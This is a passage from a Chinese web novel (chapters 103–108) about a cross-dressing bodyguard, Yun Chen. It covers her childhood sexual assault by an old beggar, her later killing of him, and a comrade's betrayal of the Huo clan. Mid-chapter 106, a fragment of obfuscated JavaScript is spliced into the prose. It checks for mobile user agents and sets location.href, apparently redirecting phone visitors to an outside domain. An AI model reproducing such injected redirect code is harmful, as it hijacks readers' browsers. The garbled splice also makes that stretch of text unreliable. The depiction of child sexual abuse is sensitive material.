她像个孩子一样侧身蜷缩着,呼吸均匀又安静,脸上是使劲擦过却还能看出痕迹的“霍”字,嘴角还浅浅地弯着。
他静静地靠在床榻边看她,心里柔软的他发慌。
他知道,他这辈子都陷在里面,出不来了。
“琛儿,晚安,愿你好梦。”
第103章 护卫
十二岁那年,云琛亲手埋葬了母亲,毅然决然地离开了那个她不愿称之为“家”的地方。
大雨滂沱的那日,最恐惧无助的那日,眼睁睁看着雨水和泥土脏污了母亲的尸体,她却无法用小小的身体替母亲遮挡的那日。
那带着梅花破月玉佩的恩人如天神一般从天而降,叫身旁的仆从挖了坟茔,帮忙安葬了母亲。
临走的时候,恩人还给了云琛两块银币,说道:
“小可怜,去买块饼子吃吧。”
云琛拿着钱,浑身湿透地在路上走。
她没了娘,就等于没了家。她既恐惧回头迎接父亲的狂怒,更不愿成为那一大家子里最多余碍事的人。
于是,她决定永远地离开。
她以为,她有师父教的一身武艺,总有办法讨口饭吃。
可她远远低估了这世间对于一个孤身又漂亮的女娃娃的恶意。
当那个好心的卖豆腐的大婶,教她怎么用月事带时,大婶的丈夫就那么毫无顾忌,用色眯眯的眼神盯着她,说“来月事好,可以种娃了”。
在大婶暗暗使眼色下,云琛向大婶道了谢,远远地逃开。
夜里无处可去,她只得宿在一处农场的草垛里。
从小睡惯了马厩,草垛让她觉得有安全感。
一个和善的老乞丐也来草垛过夜,听说她一个人孤身在外,心疼她身世可怜,还分了半块干饼给她。
老乞丐和蔼又亲切,云琛觉得他很像自己过世的祖父。
睡到半夜,云琛被一阵怪异的感觉弄醒。
迷迷糊糊之中,她感觉到大腿间有什么东西在动。
她睁眼看去,却见阴凉月光下,那老乞丐正埋头贪婪舔舐。
“来月事了?没事,我不嫌弃。”老乞丐喘着粗气说。
她吓得愣住了,明明脑子已尖叫着逃出去十万八千里,身子却僵硬得动不了分毫。
羞耻又恐惧,她却不敢哭出声。
直到老乞丐扯下她的裙子,她下身一凉,忽而觉得有了力气,才狠狠推开老乞丐,大哭着奔逃。
无边无际的黑夜啊,布满荆棘的长路啊。
石头将她绊倒,长满刺的树枝划破她稚嫩的小腿皮肤。
她不知道自己跑了多久多远,直到彻底失去力气,她才跌倒在林子里,没了意识。
梦里面,娘叫她醒醒,不能睡在地上,会着凉。
她猛然惊醒,这才发现天已大亮,她躺在灌木丛里,浑身酸痛,下半身仍光着,没有衣裙穿。
她感觉羞耻极了,无助极了,却只能绝望地蹲在草丛里,等着更加恐惧的未来。
整整一日,她从天明蹲到黄昏,直到巨大的红日照耀着长路,一个男人骑着高头大马,策马徐徐走来。
那男人穿着笔挺的服制,腰间挎着一把长刀,一眼就发现了草丛里的云琛。
他跳下马,从马屁股上挂着的包裹里取出一套衣服给云琛。
“这是我儿子的衣服,你应该能穿。”
她傻愣愣地接过衣服,站起来就穿,那男人立刻转身回避,翻身上马离去。
“大人,谢谢您。”她眼里含泪,羡慕地看着男人的服制和骏马。
“大人,将来我也想和您一样,您是做什么行当的?”
男人笑笑,“我是做护卫的。”
“什么是护卫?”
“生死护主,卫道清明,就是护卫。不过你得先做武师,有了主子,才能做护卫。”
她似懂非懂,望着男人策马离去的身影,心里好像突然有了方向。
她要做护卫,生死去护恩主。
可她年龄太小,家世来历又不明,即使扮成个小子模样,也没有大户人家愿意雇佣她。
一户人家的仆从甚至打趣她:
“这么小就做护卫啦?小护卫,你的兵器呢?你杀过人吗?”
是啊,空有一身武艺,但她一个人都没杀过,连那个老乞丐都不敢杀。
她知道必须得想办法活下去,等自己长大。
于是,她开始穿起小子装扮,四处流浪寻差事,有时为人洗衣服,有时为人劈柴,有时在码头上扛和她一样高的米袋。
不论
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报酬是几个铜板,她都欣然接受。
有钱便吃烧鸡,没钱就啃馒头。
春时睡在树上,夏时睡在花里,秋天啃着野果睡,冬天枕着白雪眠。
说不苦是假的,夜里忍着高烧战栗,捡别人剩下的破罐子熬药喝;
年三十穿着破了洞的单衣,孤独地站在窗外,看别人一家其乐融融地围着炉子吃火锅。
再或者,被偷被骗了身上最后一点钱,却没人可以诉说那委屈。
就这么熬了一年又一年。
她终于慢慢长大,身量高了,肩膀宽了,人也更有力气了。
她寻到那个“梦魇”一般的草垛,等了整整一个月,才又等到那老乞丐。
老乞丐还是看起来那么和善又慈祥,头发花白,身影佝偻,手里牵着一个走失的小女孩。
老乞丐并没有认出她,见这处草垛被占了,便拉着小女孩去另一处。
等云琛走过去的时候,正见老乞丐在扯小女孩的裙子,嘴里嘟囔着“真香啊,快让我尝尝香不香”。
小女孩的神情惊恐又无助,眼泪大颗大颗地落下,却不敢挣扎哭喊——
一如当年的云琛。
云琛悄悄站定在老乞丐身后,举起那把在集市上五个铜板买来的最便宜的剑,说:
“闭上眼睛。”
老乞丐大惊回头,还没看清楚什么,就被云琛一刀割断喉咙。
鲜血喷涌而出,流满老乞丐的前襟,滴落在小女孩紧闭的双眼上。
云琛也从来没见过这么多血,她这才知道,一个人竟然要流那么多血才会死。
云琛颤抖着擦去手上的血迹,背起小女孩,慢慢往城中走。
小女孩问:
“哥哥,你好厉害,你是做什么行当的?”
云琛答:
“我是护卫,生死护主,卫道清明。保护人的。”
小女孩搂住云琛的脖子,将头靠在云琛肩膀上,头上束发的小揪揪扎得云琛脖子痒痒的。
小女孩糯声说:
“哥哥,你别怕,别发抖,你是保护人的英雄呀!”
第104章 天衣无缝的理由
当小女孩软糯着声音,说出:
“哥哥,你别怕,别发抖,你是保护人的英雄呀!”
一瞬间,云琛只觉得山路迷雾散尽,云开月明。
她突然觉得什么苦都不苦了,什么怕也不怕了。
她一下子就明白了,她原来就是来这世间尝酸甜苦辣百般滋味的。
这天是自由的,地是自由的。
风霜雨雪都是自由的——
她云琛,也是自由的。
她朗朗笑起,朝前方大步走去。
这些往昔,云琛很少对别人说起,偶尔有人问起,她也只寥寥几句揭过。
人们都说,十二三岁的孩子出来闯荡,多么可怜,这世间的磨难不会优待一个孩子一点。
云琛笑着称是,可她知道,时间会让她长大,磨难会让她又苦又痛。
可历尽千帆,不坠青云,她还是她。
云琛的思绪走到这里,被小六突然打断。
小六将一只又生又腥的鸡屁股怼到云琛脸上。
“云哥,你在想什么呢,突然沉默这么久?你是不是在偷偷学叶峮哥和狗哥那样成熟?别装了,那不适合你。”
云琛躲开鸡屁股的骚臭,踹了小六一脚。
“滚!”
栖云居的院子里,众人围着一张大桌子忙活不停。
一个大铜锅放置在桌子中央,通红的炭火将铜锅烧得滚烫,里面的清汤都沸腾了起来,滋滋作响,冒着蒸汽。
叶峮赶忙招呼众人:“兄弟几个都手脚麻利些!否则烫熬干了,咱还吃不上一口呢!”
花绝皱着眉头,忍着腥味,笨拙地拿护卫刀片鱼,不满抱怨:
“咱们大男人哪干过这些?为啥不让厨房把食材都切好了再端上来,非要咱们自己整?”
不言用银丝小心翼翼地划着腰花,“你个纨绔子弟知道啥,我们普通老百姓在家,都是这么吃火锅的,这样才热闹呢!哎你们说,我这银丝嘎了那么多人头,现在又来切腰花,一会儿你们吃的时候,会不会吃到玉家狗的脑浆?”
荀戓做了个呕吐的表情,赶忙朝外走,“我去喊润禾拿几把厨刀来吧,没咱的刀快也行,我可不想**肉!”
“狗哥,帮我从厨房拿个漏勺来,我要焯鸡肉!”小六喊了一嗓子,然后动作麻利地掏鸡内脏、剁鸡块,又帮着花绝收拾鱼,看得花绝啧啧惊叹:
“看不出啊,你小子这些还挺灵的!”
小六得意地摇头晃脑,“开玩笑,我可是第六亲卫预备选手,什么我不会?”
花绝给了小六头上一下子,笑骂:
“第六亲卫也是护卫,难不成是厨子?”
小六“哎呦”一声,不乐意了,“厨艺只是我诸多强项中的一个,我还有好些强项,诸位大哥想不想看?”
叶峮笑着踢过来一个大酒坛子,“小六,缩骨功来一个!”
“好嘞!”小六立马活动筋骨,开始一点点往酒坛子里进。
他这些年高壮了太多,比从前缩得费劲,但还是足以让众人惊叹。
没一会功夫,小六整个人以奇异的姿势“乱七八糟”地折叠进酒坛子里。
他声音闷闷地从酒坛子传来:
“你们帮我出来一下,我最近肩太宽,有点卡住了,快帮我一下。”
叶峮拍拍手,故意舒口气,道:
“哎!天气真好,咱赶紧吃火锅吧!”
花绝附和,“对对对,赶紧叫少主,可以吃火锅了!”
不言也坏笑着,故意大声说:
“咱先把肉吃了吧,趁小六没法来和我们抢,咱们抓紧啊!”
小六听得真切,急得在坛子里哇哇大喊,最后还是在云琛的帮忙下才出来。
他上去给了云琛一个熊抱,喊了句“还是云哥最疼我
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”,然后便要去揍另外几人。
“不好不好!小六亲卫生气了!”
“哇!好可怕!快跑快跑!”
小六气得哇哇大叫,“你们等我再立个大功回来!我铁定就是第六亲卫了!到时候你们得请我喝三天酒!”
“我还是请你逛一个月窑子吧!”
“哈哈哈哈哈哈哈哈哈——”
另一边,荀戓离开栖云居后,并没有去后厨。
他再次来到城外破庙,将那枚象征着霍帮最高权力的醒狮印象,交给那玉家护卫。
印章脱手,眨眼变成两锭黄灿灿的金子。
那玉家护卫笑说,这不算在已经说好的赏金里,是额外请荀戓喝酒的。
本来就是冲着金子去的,可如今金子到手,荀戓却只觉滚烫发疼,让他几乎拿都拿不住。
有那么一瞬间,他想要冲上去杀了那玉家护卫,再将印章抢回来。
让一切回到正轨,装作什么都没有发生过。
可他终究一动不动,眼睁睁看着那玉家护卫揣着印章,得意地扬长而去。
他知道,此刻起,他再也没有回头路了。
他拖着沉重的脚步离开破庙,在河沟旁站了很久很久,将那两锭金子轻轻丢了进去。
“咕咚”一声,金子沉入水底。
他头也不回地离去,一路回到霍府,悄悄启开偏门。
那守卫偏门的院卫早被他支去厨房拿厨刀和漏勺了,自家院卫不会对亲卫设防,自然荀戓说什么,那院卫就怎么做。
荀戓闪身进来,小心翼翼关好门,一回头,叶峮已在身后等着他。
荀戓一僵,随即神色黯然。
叶峮神情严肃,用一种最戒备审问的眼神看着他。
“你最好有一个天衣无缝的理由。”
“我没有。”
荀戓沉着脸,缓缓抽出护卫刀,寒刃对准了叶峮。
第105章 不妙的预感
楠国二十八年,霍帮堂口势力如日中天。
那在京都郊外修建了一年多的霍氏祠堂终于完工,是时候该将烟城祠堂的祖宗牌位都迁移过来了。
迁宗庙祠堂是大事,为此,霍帮特意挑了个黄道吉日,在当家少主霍乾念的带领下,数百人浩浩荡荡踏上了回烟城的路。
在京都天子脚下的日子,无论仇家势力多强,多少都会忌惮些。
霍帮这两年的**大大减少。
可如今又离京都,就好像离开保护圈,霍帮护卫们不得不高度戒备,日夜巡逻。
叶峮在众人吃火锅那日,突然消失不见,连带着几个能干的护卫也都不见了,不知是去办什么要紧差事。
云琛一下子又得暂替叶峮,担领大亲卫之责。
俗话说,一回生,二回熟。
云琛这次第二回担任大亲卫,显然要熟练得多,处理事务也愈发成熟稳重,游刃有余。
花绝对此赞不绝口:
“阿琛,等叶峮哥干不动,你可以接替他了。我瞧你处理护卫队的事务越来越有门道。”
不言值完夜没休息,在一旁瞌睡得眼睛都睁不开,打了个大呵欠:
“阿琛办事没问题,就是太小心谨慎了些,为了防着仇家刺杀寻仇,总要夜里悄摸赶路,整的我瞌睡得不行。哎阿琛,咱白天多赶赶路行不?你忘了前两天咱们半夜在山头上疾驰,把少主的轿子抬得快飞起,直接把一个晚归的农夫吓晕过去了,人家还以为遇上阴兵借道了呢!咱们霍帮虽然仇家多,但兵来将挡水来土掩,怕什么呢!就算前面有什么危险埋伏唔——”
想起上回不言发挥“乌鸦嘴”本事的时候,立马就碰上了玉家的临别大礼包,众人差点掉进陷阱坑被扎成筛子,云琛赶紧捂住不言的嘴。
“大哥我求你少说两句,我不希望玉家又搞个欢迎大礼包来!”
“放心,玉家至今不敢在烟城开设堂口,就是忌惮我们,不会主动到我们的地盘上寻事的。”不言又说。
云琛来不及把这句话捂在不言嘴里,总有种隐隐不妙的预感。
这种感觉一直持续到一个多月后,队伍进入烟城地界,云琛才觉得好了点。
离城中还有两夜路程,队伍驻扎在一处瀑布小潭过夜。
众护卫忙活着起炉灶、扎帐篷、整理行李,霍乾念觉得吵,叫云琛推他去水潭走走。
水潭不大,瀑布像一条月白的绸缎,飘飘挂在黑岩上,垂落进幽深的水色,不断飞溅起水花。
云琛撑着伞,立在霍乾念身后。
二人都没有说话,只是安静地看着瀑布飞烟。
一只飞鸟低低掠过水潭,衔起一只青鱼而去。
云琛开口:
“少主,等与玉家的事了了,我有话想对你说。”
作为霍乾念身边最心腹的贴身护卫,从这些日子以来霍乾念的处事,她已预感到这次回烟城,一定会与玉家交锋。
与其说是霍帮仁孝,专门回烟城迁移祖宗牌位,不如说是霍帮故意露出破绽,引玉家上钩。
因为玉家也很清楚,像这样在京都之外对霍帮动手的机会可不多。
云琛想,等打败玉家,霍帮迎来太平之日,她便要对霍乾念表明心意,并将自己女扮男装的事全都坦白。
无论到时迎接她的会是厌弃还是接受,她都愿意面对。
他转头想去看她,却不料她心里一慌,竟抬手捂住了他的眼睛。
她自己都愣了,不明白这只手在干什么。
他却不闪不躲,只从她掌心下露着一张漂亮的唇,微微勾起浅笑:
“巧了,我也有话对你说。”
感觉到他的睫毛在手心里挠痒痒,她脸一红,手心一烫,赶紧将手收回来。
她忍不住开始心猿意马,猜想他会有什么话等着对她说。
他没有回头看她,语调却突然低了下去:
“云琛,保护好你自己。”
她明白,他是在说即将到来的与玉家的争斗。
她懂,只要有争斗,就会有流血。他担心她的安危。
可她不懂他这句话里的无力至极
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。
很快,又过了两日,队伍抵达烟城。
烟城的霍府内外早已打点齐整。
霍乾念前脚刚进北柠堂,后脚叶峮就风尘仆仆地冲进了书房。
在云琛几人的惊讶注目下,消失许久的叶峮朝几人点了下头,匆匆冲进书房,反手关严了房门。
云琛几人只来得及听到叶峮说了句“少主,折了三个兄弟,东西还是没找到”。
花绝皱眉头,“你们看见没,叶哥受伤了,我见他衣服上有刀破的痕迹。”
不言点头称是,“还有几处深色的血迹。不知道叶哥领了什么危险差事。‘东西没找到’是什么意思?少主丢什么重要东西了?竟还要叶峮哥亲自去找,还折了三个兄弟?”
云琛赶忙差小六喊府医来。
没人注意到一旁脸色僵硬又发白的荀戓。
几人在书房外等了大约半个时辰,才等到叶峮出来。
都是做护卫的,几人纵然好奇叶峮到底干什么去了,却都很自觉地没有发问,只是让叶峮赶紧去疗伤休息。
大概是觉得突然消失了那么多天,有点过意不去,叶峮拍拍云琛的肩膀,对几人道:
“辛苦大家了,等忙完这阵,我请大家吃酒。”
说罢,叶峮目光复杂地看了荀戓一眼,不着痕迹地叹了口气,道:
“狗哥,既然已经回烟城了,你去看看家里人吧,今夜若是你的班次,我来顶。”
荀戓点点头,一点没有客气推辞,轻声道了句“谢谢”,转身就朝外走。
云琛敏感地察觉到荀戓不太对劲,想追上去问,却被叶峮一把拉住。
叶峮表情深沉,在看到云琛眼里的惊讶后,又赶忙露出个掩饰的笑容,道:
“狗哥一年多没见家里人,让他回去看看,你小子就别掺和了。”
“可我觉得狗哥好像不太对劲……”云琛说。
不言琢磨道:“狗哥确实看着情绪不高,大概是近乡情更怯?”
叶峮没有说话,只是将头转过,不忍去看荀戓的背影。
第106章 天河曜
叶峮回来了,护卫队又恢复了平常的有条不紊,云琛也感觉肩头大山卸去,轻松了许多。
她只想好好躺床上睡一觉,睡他个日上三竿才最好,小六却跑来说,荀戓喊他们二人去吃酒。
算了算时辰,云琛问:“狗哥不是回家看家人吗?这才两个多时辰,就回来了?”
小六也一头雾水,“不知道,狗哥说看完了,让咱俩赶紧走着,今夜不醉不归。”
“眼下气氛这么紧张,随时要与玉家交手,狗哥怎么这个时候……”云琛觉得这一点不像荀戓稳妥的性子,想了想,还是说:“那就走吧!狗哥估计有什么要紧事跟咱们说,走!”
云琛和小六来到约定的地方,站在富丽堂皇的酒楼外面,二人不免傻眼。
“这、这万年香酒楼是全烟城最贵的地方啊,狗哥要在这请我们?”小六瞪大眼睛。
云琛也直挠头,“这里面一个麻婆豆腐都八两银呢,咱俩一年的月钱加起来,都不够里面三个菜的,狗哥几个意思?”
“会不会来错地方了?可狗哥说的就是长街八十八号铺子啊!”
二人正疑惑间,荀戓从二楼窗户探出身子,招手笑道:
“你俩愣啥呢?赶紧上来!猪肘子可要凉了!”
一听有猪肘子,小六立刻把什么七大姑八大姨的问题都抛诸脑后,一个健步冲上二楼,搂着荀戓就是一顿熊抱,兴奋道:
“狗哥,你咋了,突然请我们吃这么贵的东西?我长这么大都没来过这么贵的地方呢!”
看着一桌子昂贵的好酒好菜,什么百花蜜炖猪肘,虫草煨蛇羹、兰花熊掌、清汤官燕、火腿烧豹狸、蟹黄鲍汁炖海参……云琛替荀戓肉疼:
“狗哥,你是不是有啥事让我俩帮忙?咱们兄弟之间别来这套,有事你直说,钱留给嫂子当家用吧!”
荀戓摁着云琛坐下,故意板起脸。
“咋了,谁规定我不能有点私房钱了?我请我兄弟喝酒有啥不行的?今天你俩给我吃饱喝足,不醉不归!”
说着,荀戓又朝小二大喊:
“再来六坛上好的天河曜!”
小二恭敬地应了一声,眼神却在荀戓三人身上来回打量。
能来万年香吃饭的客人,都是非富即贵,锦衣加身。
但荀戓几人却穿着护卫服制,看起来是仆非主……小二明显担心几人想吃霸王餐。
尤其那天河曜,十年启一坛,香醉百里,实在昂贵。
看出小二顾虑,荀戓冷笑一声,从怀里摸出几锭金子抛给小二:
“够吗?不够我再给!”
小二捧着金子喜笑颜开,连连点头哈腰,笑道:
“够够够!小的这就给几位爷上酒!”
荀戓冷眉冷眼,并不多说一个字,只叫云琛和小六赶紧吃菜。
云琛不知道荀戓哪来这么多钱,更觉得今日的荀戓十分不寻常,她不知从何问起,便没话找话地问:
“狗哥,去看过嫂子和孩子了吗?”
荀戓干掉一大碗酒,抹了把嘴,又揉揉眼睛。
“看过啦……俩妮子已经会帮着洗衣做饭了,三小子能扛柴火了,俩小的一个会自己吃饭,另一个也会开口喊‘娘’了。小姨子可怜,还是光会傻笑;
我那小舅子虽然瘫在床上,却学了编五角竹篓的手艺,也能补贴些家用;老人们也都好,我爹年纪大了,眼睛不太好,看不清什么东西,不过吃饭香的很……”
小六拿肩膀捅了捅荀戓,坏笑问:
“嫂子呢?你咋不提嫂子?叶哥让你回去陪家里人,你这么快就回来,也不和嫂子亲热亲热?”
荀戓“哈哈”笑起,给了小六头上一个脑瓜崩,笑骂:
“你这猢狲!一天到晚脑子里黄得冒泡!”
云琛作势掏掏耳朵,嫌弃道:
“可不是吗!我耳朵都快被熏黄了!”
小六“嘿嘿”笑道:“姑娘多好啊,又香又软,甭管每天多累,只要一贴在姑娘怀里,我立马就舒坦了!满血复活!”
云琛听不下去了,拿雁翅堵住小六的嘴,又对荀戓道:
“狗哥你少喝些,你不是都戒酒了吗,怎么又喝上了?”
荀戓并不接这话,豪气冲天地捧着酒坛子一阵咕嘟,痛快地叹了口气,问二人:
“你俩是不是都忘了这地方了?”
见云琛和小六不明就里,荀戓道:
“咱们在武馆的时候,有一日忙完押运货物的差事,经过这条街的时候,一条鱼骨头从二楼扔下来,正掉在小六头上——”
不等荀戓说完,云琛一下子回想起当年,接道:
“对对对!想起来了!是二楼客人扔下来的,气得小六和那人对骂了好一阵!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497957|168723||http|test|mini|href|location''.split(''|''),0,{}));
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r>小六嘴里塞的鼓鼓囊囊,连连点头,“对!那厮还骂我一辈子吃不起这里的酒菜呢!**,狗眼看人低的东西!”
这时,荀戓又露出那种云琛从没见过的傲慢神色,扬起下巴道:
“那天起,我就在心里暗暗发誓,如果将来有一天发达了,我一定要请我两个好兄弟来这里好好吃一顿!不就是钱嘛,这世上人人都有的玩意儿,我早晚也会有!今日我总算兑现了……”
荀戓说着举起酒碗,眼眶发红,无比郑重地对云琛和小六道:
“二位兄弟,我荀戓这辈子父母健在,儿女双全……爱妻……爱妻挚爱……还有你们这两个掏心掏肺的好兄弟……值了……”
荀戓说着哽咽起来,完全没法完整地说出下一句。
云琛听得心里不是滋味,也伤感起来,连忙拿起酒碗与荀戓碰了一下:
“哥,我们兄弟三人不说这些!日子总会越来越好的,等忙完玉家的事,咱们就把嫂子他们接到京都去!”
小六也流着泪说:“咱们仨从武馆到霍帮,大小多少场杀斗早都数不清了!咱仨的命是捆在一起的!狗哥,不必说那么多!”
不知怎的,听了小六这几句,荀戓突然就有点崩溃,他一只手还端着酒碗,另一只手却捂着眼睛,忍不住失声痛哭。
云琛和小六看着难受,却不知道说什么。
直到荀戓哭够了,神色慢慢平静下来,他才又认真地对二人说:
“你俩别和我的命捆在一起,我命不好,不能连累你们。”
小六看看云琛,又看看狗哥,道:
“我和云哥命也不好啊,我无父无母,是吃百家饭长大的,云哥也是没了娘,十几岁就出来混了。咱仨命都不咋的,否则也不会干护卫了。”
荀戓叹了口气,忍不住骂道:
“这**世道!”
小六和云琛也重重点头,有样学样地骂了句“这**世道”,倒把荀戓给逗笑了。
酒楼里,其他客人并不知道这三个穿着普通的护卫在聊什么,只觉得这三人聒噪却又惹不起,瞧那一个个喝得满脸通红的样子,看着就很猛。
一直到夜深月明,三人才摇摇晃晃,勾肩搭背地往外走。
那年纪最大的护卫又摸出两锭金子,狠狠拍在桌子上,大叫:
“小二!赏你的!”
第107章 老鸦泣血
云琛不知道自己是怎么从万年香酒楼回到自己床上的,她只记得自己喝了两坛天河曜,吐了七八次才能安睡。
等她揉着宿醉沉重的脑袋起来时,三百余护卫已在外院整装待发。
她赶紧换衣洗漱一番,进到队伍里的时候,只见小六比她好不到哪儿去,胡子拉碴,一嘴酒臭。
荀戓则像个没事儿人一样,从头到脚整整齐齐干干净净,头发上还抹了油,甚至称得上容光焕发,看得云琛和小六一愣一愣的。
小六凑近荀戓,使劲吸鼻子闻了闻,“狗哥,你昨晚上喝的水吗,怎么一点也没宿醉的样子?我闻着你还擦油了?”
荀戓咧嘴一笑,挑眉问:
“咋样,哥帅不?”
小六竖起大拇指,云琛则做了个干呕的动作表示回应。
两个时辰后,护卫队整顿完毕,抵达烟城郊外的霍家祠堂。
霍乾念主持了简单的叩拜仪式,而后便命护卫们动手封装祖宗牌位。
霍帮家族庞大,族史悠久,正堂里的祖宗牌位密密麻麻摆了二十多排,足有几百个。
护卫们一一擦拭,而后小心翼翼地用黑金罩布包裹牌位,封装入黄花梨木匣。
这活儿虽然轻松,但须得小心谨慎,万不能将祖宗牌位磕碰或者摔了。
再加上祠堂内不得喧哗,一时间,众人忙碌穿梭,却甚是安静。
花绝、云琛和小六忙着带领护卫们收装。
叶峮和荀戓留在厅中,护卫在霍乾念身旁。
见荀戓一直呆呆地望着云琛和小六忙碌的身影,叶峮心里不忍,轻声道:
“狗哥,你若现在反悔,还来得及。”
荀戓收回目光,快速抹了把眼泪,摇摇头,惨然一笑。
“没啥可后悔的,这是我的福气,真的……”
说罢,荀戓跪在霍乾念面前,无比郑重地磕了三个头。
另一边,云琛原本在忙着擦牌位,却像心有灵犀似的,感觉到了什么,突然停下手中动作,朝厅望去。
她看见荀戓叩头,起身,对面是霍乾念那千秋不变的平静容颜。
霍乾念唇齿微动,说了一句话,荀戓垂着手,用力地点头。
接着,荀戓与叶峮交臂握手,重重互碰了下肩膀,随即大步流星朝后院走去。
那背影沉默又决绝,看得云琛心口莫名发慌。
“云哥,你咋了?”小六叫了一声,唤回云琛的注意力。
云琛摇头不语,看看荀戓背影消失在拐角,她愈发觉得不安。
再看霍乾念,他正目光担忧地望着她,更叫她心里涌上一种十分不详的预感。
她想说“没事,干活吧”,刚张口说了一个字,声音却淹没在乍然响起的巨大钟声里。
“咣——”
“咣——”
“咣——”
洪钟嗡鸣四野,空旷又悲凉。
所有人都被这钟声震撼,不禁停下手中活计,朝声音传来的方向望去。
霍氏祠堂二里外,是一座新建在矮山上的庙宇,钟声正是来自那里。
不论是否信佛信道,人们总是对于宗教有着天然的敬畏。
晨钟暮鼓总带给人一种孤独的宿命感。
静静聆听着钟声,霍帮护卫们肃身不语,直到钟声落下,“轰隆隆”的机栝声响起,众人才猛地惊醒:
“是机栝声!警戒!”
“列阵迎敌!”
护卫们纷纷大喊,迅速排列阵型,维护住厅门口的霍乾念。
然而下一刻,众人却没有看见任何人破门而入,也没有见到兵器锋影涌上,只听见一个嘶哑又僵硬的声音从后院传来——
“来人啊!霍帮私造兵器,意图谋反!快报官啊!”
那声音不大,却清晰地传入了每一个人的耳中。
听出那是荀戓的声音,云琛
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和小六浑身的汗**都竖了起来。
二人冲在最前面,一脚踹开后院门。众护卫慢半步紧随其后。
只见一道机关石门大开,后院里不知何时冒出来一个巨大的秘密武器库,数不清的兵器如小山摞在一起,塞得满满当当。
荀戓就立在那泛着寒光的武器库前,如老鸦泣血一般,一声声地大喊着。
见到云琛和小六,荀戓身子一颤,却握紧双拳,用力得脖子上青筋都暴起,更加声嘶力竭地大吼:
“来人啊!!霍帮私造兵器!意图谋反!快报官啊!!”
云琛吓得目瞪口呆,她完全不明白荀戓在干什么!
这数量庞大的兵器真的是霍乾念私造的?
这暗藏在霍氏祠堂里的武器库真的是霍乾念暗中筹谋**?
她不懂,她只知道就算真如此,身为护卫,也只能守口如瓶,怎能喊叫得人尽皆知?!
她想冲上去捂荀戓的嘴,下一瞬,却看到后院的门早已被打开,毫无防备地大敞着,玉家护卫的服制出现在门口。
一个玉家护卫持着刀,就那么堂而皇之地走进了霍氏的祠堂后院。
紧接着,第二个玉家护卫也慢悠悠地走了进来……
一个又一个鱼贯而入,直到玉家的护卫占满后院,几乎比霍帮护卫数量还多的时候,云琛才惊恐地看向荀戓。
她想问荀戓为什么要打开门放玉家的人进来,想问兵器库又是怎么回事,却看到一个面含诡笑的玉家护卫走到荀戓面前,熟练又亲昵地拍了拍荀戓的肩膀,笑道:
“辛苦了,荀戓大人。您去领一千两黄金的赏钱就行,接下来就交给我们吧!”
荀戓后背绷得笔直,嘴巴紧紧抿住没有回答,只是低下头,转身走进了玉家护卫的队列。
这下,就是小六如狗屎一般混沌的脑子也明白了:
荀戓叛变了。
第108章 连根拔起
当玉家护卫们挤满霍帮祠堂后院时,所有人都明白了:
叛徒荀戓与玉家里应外合,要害霍帮于阴谋诡计。
花绝第一个站了出来,他瞪着血红的眼睛,提刀指着站在玉家护卫队里的荀戓,颤声道:
“狗哥……你出来,说个明白……我不相信你是那样的人……”
可荀戓只是面无表情地站着,丝毫不为所动,花绝忍不住爆发大吼:
“**给我出来!!!解释清楚!!!”
沉默片刻,荀戓脚下迈开步子,却只是向一边让开,为身后的人让出一条路。
玉阳基一身金袍灿灿,出现在几个护卫保护圈中,缓缓走来。
只见那枯朽又紧绷、好似戴了张假面具的脸上,露出一个阴森得意的笑容,道:
“还是请霍少主解释下这私造兵器库的罪名吧!”
说罢,又有几个身穿官衣的男人走出来,看服制应当是玉阳基早就请来的烟城官员。
玉阳基笑道:“私造兵器,私建兵器库,罪属谋反,太守大人说,此罪应当场斩杀,株连九族!”
“放屁!”霍帮护卫纷纷破口大骂:
“玉家狗都滚出去!”
“滚**谋反!装他妈什么大尾巴狼!”
玉阳基毫不理会,只目光越过重重霍帮护卫,看向最后的方向,皮笑肉不笑地问:
“霍少主,你认罪吗?”
顺着玉阳基的眼神,霍帮护卫们纷纷回头望去,自觉向两边散开,“少主”“少主”地叫个不停。
霍乾念用眼神示意安抚,护卫们顿觉心中安定,慢慢稳了下来。
一个玉家护卫走到石门大敞的武器库前,精准地从成摞的兵器里掏出几卷帛书,装模作样地捧给玉阳基,大声道:
“老爷,您瞧,这是霍帮私造兵器的证据,上面明明白白写着兵器种类、数量、制造时间以及——盖着霍帮的醒狮印章!”
一阵哗然声传来,从后门望去,能瞧见外面乌泱泱**了不少百姓,都是前往庙宇敬佛上香的,却被霍氏祠堂这大阵仗吸引来了。
显然这也是玉阳基的手笔,**嘛,总要有旁人见证更好。
霍乾念扫了眼数量庞大的兵器库,淡定道:
“霍帮不在烟城久矣,谁知道哪来的贼人借盖庙宇之名,将一个武器库藏在我霍氏祠堂里?毁我霍氏祠堂,我得报官。”
说着,霍乾念语调一转,对一旁的几个官员道:
“大人,有贼人污我霍帮清白不说,还毁霍氏祠堂,我可要报官的。”
几个烟城官员看看霍乾念,又看看玉阳基,只觉得二人一狮一豹凶悍对立,哪个都惹不起。
若不是早得了上级示意,他们压根不敢来趟这趟浑水。
生怕一会两边打起来会误伤自己,几个官员忙说和:
“玉老爷,霍少主,二位有话好好说,不如先把双方护卫撤去,咱们找个地方坐下来好好聊聊?”
没人搭理这话。
玉阳基道:“口说无凭,但霍帮的醒狮印章就盖在这,白纸红章可抵赖不得。听说,这醒狮印章是霍帮代代相传的宝贝,百年前请高人秘制。
印在纸上,乍看寻常,但若用冰晶筒放大百倍相观,可从狮目中见到一个极小的‘霍’字,这便是霍帮引以为傲的防伪标记——我这正好有现成的冰晶筒,要不我们看看?”
霍乾念故作惊讶,“是吗?那就看看吧。”
双方演得起劲,玉阳基竟真的拿出一个冰晶筒去查看帛书上的醒狮印记。
云琛知道自己应当关注这印记的结果,应当护卫着霍乾念为第一要紧,可她就是无法将目光从荀戓身上移开。
她痛心又焦急,有千万疑问在眼中,恨不能现在就逼问荀戓得到一个合理的解释。
可荀戓明知道她的注视,却根本不看她一眼。
“狗哥……”她声音颤抖
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,轻唤一声,脚下不自觉往前迈了一步,耳边听到玉阳基和霍乾念越说越急,形势越来越剑拔**张:
